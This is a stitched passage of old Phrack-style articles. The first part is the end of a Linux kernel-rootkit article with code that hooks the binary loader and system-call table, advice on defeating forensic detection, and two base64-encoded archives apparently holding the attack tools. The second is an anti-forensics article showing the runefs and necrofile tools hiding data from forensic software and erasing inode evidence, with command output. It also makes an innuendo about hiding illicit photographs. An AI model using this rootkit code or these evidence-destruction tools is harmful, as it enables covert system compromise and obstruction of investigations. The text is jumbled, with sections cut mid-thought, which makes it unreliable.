loaded as module. A possibility is executing and watching a binary of all
available binary formats. Since the task structure inside the kernel
carries a pointer to the handler for its binary it is possible to collect
the pointers. (The handlers form a linked list - it is not really needed to
execute one binary of each type; theoretically at least).
/*
* ... get one. be sure to save (and restore)
* the original pointer. having binary hand-
* lers pointing to nirvana is no fun.
*/
elf_bin = current->binfmt;
old_load_binary = elf_bin->load_binary;
elf_bin->load_binary = &new_load_binary;
/*
* and restore the system call.
*/
sys_call_table[__NR_open] = o_open;
return ret;
}
An evil virus could wrap the load_binary function for infecting all
binaries executed in memory.
Even replaced pointers are hard to check if you do not know where they
are. If we have a recent System.map file, we can walk the list of binary
handlers since we can look up the address of the root entry ("formats" as
defined in ~/fs/exec.c) and the handler functions. In other cases we might
be out of luck. One might try to collect the unmodified addresses himself
to be able to check them later one. Not a good idea ...
--[ 3.5 - The Lord
When ELF binaries are executed, the kernel invokes a dynamic linker. It
does necessary setup work as loading shared libraries and relocating them.
We will try to make an advantage of this.
Note that we can, of course, look for an arbitrary runtime pattern, there
is no need for sticking to mmap or mprotect system calls. It is only of
importance to start the new binary before the user can percept what is
going on.
Note, too, that this technique may be used to execute a binary in before
and afterwards of the binary requested to be executed. That might be useful
to modify the system enviroment.
And finally note that we are not forced to sticking to a distinct runtime
pattern. We may change at will the pattern triggering a redirection. I am
really curious what people will do to detect execution redirection achieved
with this method as it is not sufficient to check for one or two replaced
pointers. It is even not sufficient to do execution path analysis as the
path can be different for each execution. And it is not enough to search
the filesystems for hidden files (which might indicate that, too, execution
redirection is going on). Why is it not enough? See appendix B. All employed
methods for forensical analysis of execution redirection defeated in one
module? We could make the decision from/to where and when (and whoms)
execution shall be redirected dependant on an arbitrary state or pattern.
--[ 4 - Conclusion
We can take complete control of binary execution. There are many ways to
redirect execution, some are easier to detect than others. It has to be
asserted that it is not sufficient to check for one or two replaced pointer
to get evidence if a system has been backdoored. Even if a system call has
not been replaced (not even redirected at all) execution redirection can
happen.
One might now argue it is possible to search the binary redirected to. It
has to be physically present on the harddisk. Programs have been developed
to compare the content of a harddisk to the filesystem content shown in
user land. Therefore it would be possible to detect even hidden files, as
there might be, if a kernel backdoor is in use. That is completely wrong.
Most obviously we would keep the binary totally in kernel memory. If our
binary needs to be executed, we write it to disk and execute. When
finished, we unlink it. Of course, it is also possible to copy the binary
just "in place" when it is to be executed. Finally, to prevent pattern
matching in kernel memory, we encrypt the data. A approach to this method
is shown in appendix B. Under linux we can abuse the proc filesystem for
this purpose, too.
--[ 5 - Reference
[1] Tripwire
http://www.tripwire.com
[2] Aide
http://www.cs.tut.fi/~rammer/aide.html
[3] knark
http://www.packetstormsecurity.com/UNIX/penetration/rootkits/
knark-0.59.tar.gz
[4] kernel function hijacking
http://www.big.net.au/~silvio/kernel-hijack.txt
[5] Linux x86 kernel function hooking emulation
http://www.phrack.org/show.php?p=58&a=8
[6] LKM - Loadable Linux Kernel Modules
http://www.thehackerschoice.com/download.php?t=p&d=LKM_HACKING.html
<++> ./stories.tgz.uu
begin-base64 644 stories.tgz
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
BRVUUEE/Ef0XupwxUgBQAAA=
====
<-->
<++> ./fluc.c.gz.uu
begin-base64 644 fluc.c.gz.uu
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
====
<-->
EOF
==Phrack Inc.==
--[ Contents
1 - Introduction
1.1 - Generic Unix File Systems
1.2 - Forensics
2 - Anti-Forensics
3 - Runefs
3.1 - Creating hidden space
3.2 - Using hidden space
3.3 - TCT unclear on ext2fs specifications
5 - Conclusion
6 - Greets
7 - References
8 - Appendix
8.1 - The Ext2fs
8.2 - runefs.tar.gz (uuencoded)
8.3 - tdt.tar.gz (uuencoded)
--[ 1 - Introduction
This section will describe basic Unix file system theory (not focussing
on any specific implementation), discussing the meta-data structures used
to organise the file system internally. Files within the Unix OS are
continuous streams of bytes of arbitrary length and are the main
abstraction used for I/O. This article will focus on files in the more
general sense of data stored on disk and organised by a file system.
Data blocks are clustered and organised into files by inodes. Inodes
are the meta-data structure which represent the user visible files; one for
each unique file. Each inode contains an array of block pointers (that is,
indexes into the data block array) and various other information about the
file. This additional information about the file includes: the UID; GID;
size; permissions; modification/access/creation (MAC) times, and some other
data. The limited amount of space available to inodes means the the block
pointer array can only contain a small number of pointers. To allow file
sizes to be of substantial length, inodes employ "indirect blocks". An
indirect block acts as an extension to the block array, storing additional
pointers. Doubly and trebly indirect blocks contain block pointers to
further indirect blocks, and doubly indirect blocks respectively. Inodes
are stored in an array called the inode table, and are referred to by their
0-based indexes within this table. The state of an inode, i.e. free vs.
allocated, is stored in a bitmap called, imaginitively, the "inode bitmap".
Files, that is, inodes, are associated with file names by special
structures called directory entries stored within directory files. These
structures are stored contigously inside the directory file. Directory
entries have a basic structure of:
struct dirent {
int inode;
short rec_size;
short name_len;
char file_name[NAME_LEN];
};
The 'inode' element of the dirent contains the inode number which is
linked with the file name, stored in 'file_name'. To save space, the actual
length of the file name is recorded in 'name_len' and the remaining space
in the file_name array is used by the next directory entry structure. The
size of a dirent is usually rounded up to the closest power of two, and
this size is stored in 'rec_size'. When a file name/inode link is removed,
the inode value is set to 0 and the rec_size of the preceding dirent is
extended to encompass the deleted dirent. This has the effect of storing
the names of deleted files inside directory files.
Everytime an file name is linked with a file name, and internal counter
within the inode is incremented. Likewise, everytime a link is removed,
this counter is decremented. When this counter reaches 0, there are no
references to the inode from within the directory structure; the file is
deleted. Files which have been deleted can safely have their resources, the
data blocks and the inode itself, freed. This is accomplished by marking
the appropriate bitmaps.
To mount a file system the kernel needs to know the size and locations
of the meta-data. The first piece of meta-data, the super block, is stored
at a known location. The super-block contains information such as the
number of inodes and blocks, the size of a block, and a great deal of
additional information. Based on the data within the super block, the
kernel is able to calculate the locations and sizes of the inode table and
the data portion of the disk.
For performance reasons, no modern file system actually has just one
inode table and one block array. Rather inodes and blocks are clustered
together in groups spread out across the disk. These groups usually contain
private bitmaps for their inodes and blocks, as well as copies of the
superblock to aid recovery in case of catastrophic data loss.
This evidence is both file content (data), and information about the
file(s) (meta-data). Based on the evidence retrieved from the file system
the investigator will attempt to:
--[ 2 - Anti-Forensics
Data hiding, on the other hand, is useful only so long as the analyst
doesn't know where to look. Long term integrity of the data storage area
cannot be garaunteed. For this reason, data hiding should be used in
combination with attacks against the parsing phase (e.g. proprietary file
formats), and against the examination phase (e.g. encryption). Data hiding
is most useful in the case of essential data which must be stored for some
length of time (e.g. photographs of young women in artistic poses).
--[ 3 - Runefs
The most common toolkit for Unix forensic file system analysis is "The
Coronor's Toolkit"[1] (TCT) developed by Dan Farmer and Wietse Venema.
Despite being relied on for years as the mainstay of the Unix digital
forensic analyst, and providing the basis for several enhancements [2][3],
it remains as flawed today as when it was first released. A major file
system implementation bug allows an attacker to store arbitrary amounts of
data in a location which the TCT tools cannot examine.
Historically, the bad blocks inode was used to reference data blocks
occupying bad sectors of the hard disk, preventing these blocks from being
used by live files. The FFS has deprecated the bad blocks inode, preventing
the successful exploitation of this bug, but it is still in use on ext2fs.
Successfully exploiting a file system data hiding attack means, for an
anti-forensics agent, manipulating the file system without altering it
outside of the specifications implemented in the file system checker: fsck.
Although, it is interesting to note that no forensic analysis methodology
uses fsck to ensure that the file system has not been radically altered.
The ext2fs fsck still uses the bad blocks inode for bad block
referencing, and so it allows any number of blocks to be allocated to the
inode. Unfortunately, the TCT file system code does not recognise the bad
blocks inode as within the scope of an investigation. The bad blocks inode
bug is easy to spot, and should be trivial to correct. Scattered throughout
the file system code of the TCT package (and the related toolkit TASK) is
the following errorneous check:
/*
* Sanity check.
*/
if (inum < EXT2_ROOT_INO || inum > ext2fs->fs.s_inodes_count)
error("invalid inode number: %lu", (ULONG) inum);
The first inode that can allocate block resources on a ext2 file system
is in fact the bad blocks inode (inode 1) -- *not* the root inode (inode
2). Because of this mis-implementation of the ext2fs it is possible to
store data on blocks allocated to the bad blocks inode and have it hidden
from an analyst using TCT or TASK. To illustrate the severity of this
attack the following examples demonstrate using the accompanying runefs
toolkit to: create hidden storage space; copy data to and from this area,
and show how this area remains secure from a forensic analyst.
# df -k /dev/hda6
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/hda6 1011928 20 960504 1% /mnt
# ./bin/mkrune -v /dev/hda6
+++ bb_blk +++
bb_blk->start = 33275
bb_blk->end = 65535
bb_blk->group = 1
bb_blk->size = 32261
+++
rune size: 126M
# df -k /dev/hda6
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/hda6 1011928 129196 831328 14% /mnt
# e2fsck -f /dev/hda6
e2fsck 1.26 (3-Feb-2002)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/hda6: 11/128768 files (0.0% non-contiguous), 36349/257032 blocks
#
This second example shows how data can be inserted and extracted from
the hidden storage space without any data loss. While this example does not
comprehensively explore the uses of a hidden data storage area, it is
sufficient to demonstrate how data can be introduced to and extracted from
the runefs.
# ./icat /dev/hda6 1
/icat: invalid inode number: 1
#
Interesting as these examples are, there are problems with this runefs.
This implementation of runefs is crude and old (it was written in November
2000), and it does not natively support encryption. The current version of
runefs is a dynamicly resizeable file system which supports a full
directory structure, is fully encrypted, and can grow up to four gigabytes
in size (it is private, and not will be made available to the public).
The final problem with this runefs in particular, and the private
implementation as well, is that the bad blocks data hiding technique is now
public knowledge (quite obviously). This highlights the problem with data
hiding techniques, they become out dated. For this reason data hiding
should always be used in conjunction with at least one other anti-forensics
technology, such as encryption.
There are more ways of securely storing data on the file system far
from the prying eyes of the forensic analyst, and a research paper is due
shortly that will detail many of them. However, this is the last this
article will mention on data hiding, now the focus shifts to data
destruction.
The major vulnerablity with data aquisition is that the evidence being
gathered must be there when the forensic analyst begins his investigation.
Non-existant data, obviously, cannot be gathered, and without this crucial
information the forensic analyst is incapable of progressing the
investigation.
File system sanitization is the anti-forensic strategy of removing this
data (evidence), and doing so in such a way so as to leave no trace that
evidence ever existed (i.e. leave no "evidence of erasure"). The Defiler's
Toolkit provides tools to remove data from the file system with surgical
precision. By selectively eradicating the data which might become evidence,
the anti-forensics agent is able to subvert the entire forensics process
before it is even begun.
Within a Unix file system all of the following places will contain
traces of the existence of a file -- they contain evidence:
* inodes
* directory entries
* data blocks
# ./ils /dev/hda6
class|host|device|start_time
ils|XXX|/dev/hda6|1026771982
st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|\
st_nlink|st_size|st_block0|st_block1
12|f|0|0|1026771841|1026771796|1026771958|1026771958|100644|0|86|545|0
13|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|546|0
14|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|547|0
15|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|548|0
16|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|549|0
17|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|550|0
18|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|551|0
19|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|552|0
20|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|553|0
21|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|554|0
22|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|555|0
23|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|556|0
24|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|557|0
25|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|558|0
26|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|559|0
27|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|560|0
28|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|561|0
29|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|562|0
30|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|563|0
31|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|564|0
32|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|565|0
33|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|566|0
34|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|567|0
35|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|568|0
36|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|569|0
37|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|570|0
#
# ./necrofile -v -v -v -v /dev/hda6
Scrubbing device: /dev/hda6
12 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
13 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
14 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
15 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
16 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
17 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
18 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
19 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
20 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
21 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
22 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
23 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
24 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
25 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
